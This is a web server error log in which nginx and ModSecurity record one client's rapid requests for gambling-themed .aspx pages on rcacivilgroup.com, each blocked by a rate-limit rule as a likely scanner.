2026/03/11 02:00:05 [error] 6420#6420: *347556 upstream prematurely closed connection while reading response header from upstream, client: 79.137.65.139, server: rcacivilgroup.com, request: "GET /pg%20th.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/pg%20th.aspx", host: "rcacivilgroup.com"
[Wed Mar 11 02:00:05.595578 2026] [:error] [pid 6893:tid 7158] [client 79.137.65.139:51214] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/pg%20th.aspx"] [unique_id "abBcJTQs7J0yTt-T28kXaQAAAEk"]
2026/03/11 02:00:07 [error] 6420#6420: *347556 upstream prematurely closed connection while reading response header from upstream, client: 79.137.65.139, server: rcacivilgroup.com, request: "GET /pg%20thailand.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/pg%20thailand.aspx", host: "rcacivilgroup.com"
[Wed Mar 11 02:00:07.308586 2026] [:error] [pid 6894:tid 7201] [client 79.137.65.139:51248] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/pg%20thailand.aspx"] [unique_id "abBcJ54b1T0HQdoE97LxCAAAAJI"]
2026/03/11 02:00:08 [error] 6420#6420: *347556 upstream prematurely closed connection while reading response header from upstream, client: 79.137.65.139, server: rcacivilgroup.com, request: "GET /pg%20wallet.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/pg%20wallet.aspx", host: "rcacivilgroup.com"
[Wed Mar 11 02:00:08.871365 2026] [:error] [pid 7307:tid 7323] [client 79.137.65.139:51284] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/pg%20wallet.aspx"] [unique_id "abBcKOtE6Vj1tEJkynHjhQAAAM4"]
2026/03/11 02:00:10 [error] 6420#6420: *347556 upstream prematurely closed connection while reading response header from upstream, client: 79.137.65.139, server: rcacivilgroup.com, request: "GET /pg%20world.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/pg%20world.aspx", host: "rcacivilgroup.com"
[Wed Mar 11 02:00:10.576569 2026] [:error] [pid 7307:tid 7314] [client 79.137.65.139:51306] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/pg%20world.aspx"] [unique_id "abBcKutE6Vj1tEJkynHjhwAAAMU"]
2026/03/11 02:00:12 [error] 6420#6420: *347556 upstream prematurely closed connection while reading response header from upstream, client: 79.137.65.139, server: rcacivilgroup.com, request: "GET /pgslot%20login.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/pgslot%20login.aspx", host: "rcacivilgroup.com"
[Wed Mar 11 02:00:12.293649 2026] [:error] [pid 6894:tid 7202] [client 79.137.65.139:51336] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/pgslot%20login.aspx"] [unique_id "abBcLJ4b1T0HQdoE97LxDwAAAJM"]
2026/03/11 02:00:13 [error] 6420#6420: *347556 upstream prematurely closed connection while reading response header from upstream, client: 79.137.65.139, server: rcacivilgroup.com, request: "GET /pgzeed%20gold.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/pgzeed%20gold.aspx", host: "rcacivilgroup.com"
[Wed Mar 11 02:00:13.994362 2026] [:error] [pid 6893:tid 7162] [client 79.137.65.139:51370] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/pgzeed%20gold.aspx"] [unique_id "abBcLTQs7J0yTt-T28kXfQAAAE0"]
2026/03/11 02:00:15 [error] 6420#6420: *347556 upstream prematurely closed connection while reading response header from upstream, client: 79.137.65.139, server: rcacivilgroup.com, request: "GET /pp%20slot.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/pp%20slot.aspx", host: "rcacivilgroup.com"
[Wed Mar 11 02:00:15.691361 2026] [:error] [pid 7307:tid 7312] [client 79.137.65.139:51408] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/pp%20slot.aspx"] [unique_id "abBcL-tE6Vj1tEJkynHjmAAAAMM"]
[Wed Mar 11 02:00:17.403672 2026] [:error] [pid 6892:tid 7080] [client 79.137.65.139:51436] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/riches666%20pg.aspx"] [unique_id "abBcMRRWb70O8HM28tGthQAAAAI"]
2026/03/11 02:00:17 [error] 6420#6420: *347556 upstream prematurely closed connection while reading response header from upstream, client: 79.137.65.139, server: rcacivilgroup.com, request: "GET /riches666%20pg.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/riches666%20pg.aspx", host: "rcacivilgroup.com"
2026/03/11 02:00:18 [error] 6420#6420: *347556 upstream prematurely closed connection while reading response header from upstream, client: 79.137.65.139, server: rcacivilgroup.com, request: "GET /riches777%20pg.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/riches777%20pg.aspx", host: "rcacivilgroup.com"
[Wed Mar 11 02:00:18.957787 2026] [:error] [pid 7307:tid 7328] [client 79.137.65.139:51462] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/riches777%20pg.aspx"] [unique_id "abBcMutE6Vj1tEJkynHjpQAAANM"]
2026/03/11 02:00:20 [error] 6420#6420: *347556 upstream prematurely closed connection while reading response header from upstream, client: 79.137.65.139, server: rcacivilgroup.com, request: "GET /riches888%20pg.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/riches888%20pg.aspx", host: "rcacivilgroup.com"
[Wed Mar 11 02:00:20.677901 2026] [:error] [pid 7307:tid 7323] [client 79.137.65.139:51492] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/riches888%20pg.aspx"] [unique_id "abBcNOtE6Vj1tEJkynHjrQAAAM4"]
2026/03/11 02:00:22 [error] 6420#6420: *347556 upstream prematurely closed connection while reading response header from upstream, client: 79.137.65.139, server: rcacivilgroup.com, request: "GET /royal%20slot.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/royal%20slot.aspx", host: "rcacivilgroup.com"
[Wed Mar 11 02:00:22.392937 2026] [:error] [pid 6893:tid 7156] [client 79.137.65.139:51524] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/royal%20slot.aspx"] [unique_id "abBcNjQs7J0yTt-T28kXhAAAAEc"]
2026/03/11 02:00:24 [error] 6420#6420: *347556 upstream prematurely closed connection while reading response header from upstream, client: 79.137.65.139, server: rcacivilgroup.com, request: "GET /sa%20casino.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/sa%20casino.aspx", host: "rcacivilgroup.com"
[Wed Mar 11 02:00:24.103176 2026] [:error] [pid 6894:tid 7192] [client 79.137.65.139:51546] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sa%20casino.aspx"] [unique_id "abBcOJ4b1T0HQdoE97LxKQAAAIo"]
2026/03/11 02:00:25 [error] 6420#6420: *347556 upstream prematurely closed connection while reading response header from upstream, client: 79.137.65.139, server: rcacivilgroup.com, request: "GET /sbobet%20auto.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/sbobet%20auto.aspx", host: "rcacivilgroup.com"
[Wed Mar 11 02:00:25.806404 2026] [:error] [pid 7307:tid 7309] [client 79.137.65.139:51568] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sbobet%20auto.aspx"] [unique_id "abBcOetE6Vj1tEJkynHjugAAAMA"]
2026/03/11 02:00:27 [error] 6420#6420: *347556 upstream prematurely closed connection while reading response header from upstream, client: 79.137.65.139, server: rcacivilgroup.com, request: "GET /sbobet%20ca.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/sbobet%20ca.aspx", host: "rcacivilgroup.com"
[Wed Mar 11 02:00:27.363518 2026] [:error] [pid 6892:tid 7085] [client 79.137.65.139:51590] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sbobet%20ca.aspx"] [unique_id "abBcOxRWb70O8HM28tGtkAAAAAY"]
[Wed Mar 11 02:00:29.077421 2026] [:error] [pid 6892:tid 7084] [client 79.137.65.139:51618] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/slot%20777.aspx"] [unique_id "abBcPRRWb70O8HM28tGtkgAAAAU"]
2026/03/11 02:00:29 [error] 6420#6420: *347556 upstream prematurely closed connection while reading response header from upstream, client: 79.137.65.139, server: rcacivilgroup.com, request: "GET /slot%20777.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/slot%20777.aspx", host: "rcacivilgroup.com"
2026/03/11 02:00:30 [error] 6420#6420: *347556 upstream prematurely closed connection while reading response header from upstream, client: 79.137.65.139, server: rcacivilgroup.com, request: "GET /slot%20888.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/slot%20888.aspx", host: "rcacivilgroup.com"
[Wed Mar 11 02:00:30.800455 2026] [:error] [pid 6893:tid 7155] [client 79.137.65.139:51638] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/slot%20888.aspx"] [unique_id "abBcPjQs7J0yTt-T28kXjwAAAEY"]
[Wed Mar 11 02:00:32.369834 2026] [:error] [pid 6893:tid 7166] [client 79.137.65.139:51656] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/slot%2099.aspx"] [unique_id "abBcQDQs7J0yTt-T28kXkAAAAFE"]
2026/03/11 02:00:32 [error] 6420#6420: *347556 upstream prematurely closed connection while reading response header from upstream, client: 79.137.65.139, server: rcacivilgroup.com, request: "GET /slot%2099.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/slot%2099.aspx", host: "rcacivilgroup.com"
2026/03/11 02:00:34 [error] 6420#6420: *347556 upstream prematurely closed connection while reading response header from upstream, client: 79.137.65.139, server: rcacivilgroup.com, request: "GET /slot%20auto.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/slot%20auto.aspx", host: "rcacivilgroup.com"
[Wed Mar 11 02:00:34.096568 2026] [:error] [pid 7307:tid 7325] [client 79.137.65.139:51680] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/slot%20auto.aspx"] [unique_id "abBcQutE6Vj1tEJkynHjzAAAANA"]
[Wed Mar 11 02:00:35.849702 2026] [:error] [pid 6894:tid 7188] [client 79.137.65.139:51704] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/slot%20demo.aspx"] [unique_id "abBcQ54b1T0HQdoE97LxSwAAAIY"]
2026/03/11 02:00:35 [error] 6420#6420: *347556 upstream prematurely closed connection while reading response header from upstream, client: 79.137.65.139, server: rcacivilgroup.com, request: "GET /slot%20demo.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/slot%20demo.aspx", host: "rcacivilgroup.com"
[Wed Mar 11 02:00:37.412488 2026] [:error] [pid 6893:tid 7160] [client 79.137.65.139:51726] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/slot%20free.aspx"] [unique_id "abBcRTQs7J0yTt-T28kXkgAAAEs"]
2026/03/11 02:00:37 [error] 6420#6420: *347556 upstream prematurely closed connection while reading response header from upstream, client: 79.137.65.139, server: rcacivilgroup.com, request: "GET /slot%20free.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/slot%20free.aspx", host: "rcacivilgroup.com"
2026/03/11 02:00:39 [error] 6420#6420: *347556 upstream prematurely closed connection while reading response header from upstream, client: 79.137.65.139, server: rcacivilgroup.com, request: "GET /slot%20game%20666.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/slot%20game%20666.aspx", host: "rcacivilgroup.com"
[Wed Mar 11 02:00:39.138906 2026] [:error] [pid 6894:tid 7195] [client 79.137.65.139:51756] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/slot%20game%20666.aspx"] [unique_id "abBcR54b1T0HQdoE97LxVgAAAIw"]
2026/03/11 02:00:40 [error] 6420#6420: *347556 upstream prematurely closed connection while reading response header from upstream, client: 79.137.65.139, server: rcacivilgroup.com, request: "GET /slot%20joker.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/slot%20joker.aspx", host: "rcacivilgroup.com"
[Wed Mar 11 02:00:40.847342 2026] [:error] [pid 7307:tid 7320] [client 79.137.65.139:51780] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/slot%20joker.aspx"] [unique_id "abBcSOtE6Vj1tEJkynHj4AAAAMs"]
2026/03/11 02:00:42 [error] 6420#6420: *347556 upstream prematurely closed connection while reading response header from upstream, client: 79.137.65.139, server: rcacivilgroup.com, request: "GET /slot%20online.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/slot%20online.aspx", host: "rcacivilgroup.com"
[Wed Mar 11 02:00:42.545435 2026] [:error] [pid 6894:tid 7186] [client 79.137.65.139:51808] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/slot%20online.aspx"] [unique_id "abBcSp4b1T0HQdoE97LxWwAAAIQ"]
[Wed Mar 11 02:01:13.133759 2026] [:error] [pid 7307:tid 7327] [client 79.137.65.139:52344] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/spx%20slot.aspx"] [unique_id "abBcaetE6Vj1tEJkynHkPAAAANI"]
2026/03/11 02:01:13 [error] 6420#6420: *347556 upstream prematurely closed connection while reading response header from upstream, client: 79.137.65.139, server: rcacivilgroup.com, request: "GET /spx%20slot.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/spx%20slot.aspx", host: "rcacivilgroup.com"
[Wed Mar 11 02:01:14.857831 2026] [:error] [pid 6892:tid 7078] [client 79.137.65.139:52364] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/super%20pg%201688.aspx"] [unique_id "abBcahRWb70O8HM28tGttgAAAAA"]
2026/03/11 02:01:14 [error] 6420#6420: *347556 upstream prematurely closed connection while reading response header from upstream, client: 79.137.65.139, server: rcacivilgroup.com, request: "GET /super%20pg%201688.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/super%20pg%201688.aspx", host: "rcacivilgroup.com"
2026/03/11 02:01:16 [error] 6420#6420: *347556 upstream prematurely closed connection while reading response header from upstream, client: 79.137.65.139, server: rcacivilgroup.com, request: "GET /super%20slot.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/super%20slot.aspx", host: "rcacivilgroup.com"
[Wed Mar 11 02:01:16.594722 2026] [:error] [pid 7307:tid 7327] [client 79.137.65.139:52390] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/super%20slot.aspx"] [unique_id "abBcbOtE6Vj1tEJkynHkSQAAANI"]
[Wed Mar 11 02:01:18.157187 2026] [:error] [pid 7307:tid 7333] [client 79.137.65.139:52414] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "abBcbutE6Vj1tEJkynHkTAAAANg"]
2026/03/11 02:01:18 [error] 6420#6420: *347556 upstream prematurely closed connection while reading response header from upstream, client: 79.137.65.139, server: rcacivilgroup.com, request: "GET /superslot%20max%20wallet.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/superslot%20max%20wallet.aspx", host: "rcacivilgroup.com"
[Wed Mar 11 02:01:19.874362 2026] [:error] [pid 7307:tid 7310] [client 79.137.65.139:52442] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/superslot%20vip.aspx"] [unique_id "abBcb-tE6Vj1tEJkynHkVAAAAME"]
2026/03/11 02:01:19 [error] 6420#6420: *347556 upstream prematurely closed connection while reading response header from upstream, client: 79.137.65.139, server: rcacivilgroup.com, request: "GET /superslot%20vip.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/superslot%20vip.aspx", host: "rcacivilgroup.com"
2026/03/11 02:01:21 [error] 6420#6420: *347556 upstream prematurely closed connection while reading response header from upstream, client: 79.137.65.139, server: rcacivilgroup.com, request: "GET /superslot%20wallet%20net.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/superslot%20wallet%20net.aspx", host: "rcacivilgroup.com"
[Wed Mar 11 02:01:21.584831 2026] [:error] [pid 6894:tid 7186] [client 79.137.65.139:52462] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "abBccZ4b1T0HQdoE97LxmwAAAIQ"]
2026/03/11 02:01:23 [error] 6420#6420: *347556 upstream prematurely closed connection while reading response header from upstream, client: 79.137.65.139, server: rcacivilgroup.com, request: "GET /superslot%20wallet.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/superslot%20wallet.aspx", host: "rcacivilgroup.com"
[Wed Mar 11 02:01:23.283959 2026] [:error] [pid 7307:tid 7312] [client 79.137.65.139:52496] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/superslot%20wallet.aspx"] [unique_id "abBcc-tE6Vj1tEJkynHkXwAAAMM"]
2026/03/11 02:01:25 [error] 6420#6420: *347556 upstream prematurely closed connection while reading response header from upstream, client: 79.137.65.139, server: rcacivilgroup.com, request: "GET /superslot168%20wallet.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/superslot168%20wallet.aspx", host: "rcacivilgroup.com"
[Wed Mar 11 02:01:25.030641 2026] [:error] [pid 6892:tid 7101] [client 79.137.65.139:52514] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/superslot168%20wallet.aspx"] [unique_id "abBcdRRWb70O8HM28tGtvgAAABQ"]
2026/03/11 02:01:26 [error] 6420#6420: *347556 upstream prematurely closed connection while reading response header from upstream, client: 79.137.65.139, server: rcacivilgroup.com, request: "GET /ufa%20168.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/ufa%20168.aspx", host: "rcacivilgroup.com"
[Wed Mar 11 02:01:26.572981 2026] [:error] [pid 6894:tid 7190] [client 79.137.65.139:52550] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ufa%20168.aspx"] [unique_id "abBcdp4b1T0HQdoE97LxrgAAAIg"]
2026/03/11 02:01:28 [error] 6420#6420: *347556 upstream prematurely closed connection while reading response header from upstream, client: 79.137.65.139, server: rcacivilgroup.com, request: "GET /ufa%20c4.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/ufa%20c4.aspx", host: "rcacivilgroup.com"
[Wed Mar 11 02:01:28.298378 2026] [:error] [pid 7307:tid 7309] [client 79.137.65.139:52574] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ufa%20c4.aspx"] [unique_id "abBceOtE6Vj1tEJkynHkagAAAMA"]
2026/03/11 02:01:30 [error] 6420#6420: *347556 upstream prematurely closed connection while reading response header from upstream, client: 79.137.65.139, server: rcacivilgroup.com, request: "GET /ufa%20sa.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/ufa%20sa.aspx", host: "rcacivilgroup.com"
[Wed Mar 11 02:01:30.021056 2026] [:error] [pid 7307:tid 7320] [client 79.137.65.139:52602] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ufa%20sa.aspx"] [unique_id "abBceutE6Vj1tEJkynHkcwAAAMs"]
[Wed Mar 11 02:01:31.584545 2026] [:error] [pid 7307:tid 7326] [client 79.137.65.139:52616] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ufa%20slot.aspx"] [unique_id "abBce-tE6Vj1tEJkynHkdQAAANE"]
2026/03/11 02:01:31 [error] 6420#6420: *347556 upstream prematurely closed connection while reading response header from upstream, client: 79.137.65.139, server: rcacivilgroup.com, request: "GET /ufa%20slot.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/ufa%20slot.aspx", host: "rcacivilgroup.com"
2026/03/11 02:01:33 [error] 6420#6420: *347556 upstream prematurely closed connection while reading response header from upstream, client: 79.137.65.139, server: rcacivilgroup.com, request: "GET /ufa%20vip.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/ufa%20vip.aspx", host: "rcacivilgroup.com"
[Wed Mar 11 02:01:33.289702 2026] [:error] [pid 6892:tid 7084] [client 79.137.65.139:52646] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ufa%20vip.aspx"] [unique_id "abBcfRRWb70O8HM28tGtwQAAAAU"]
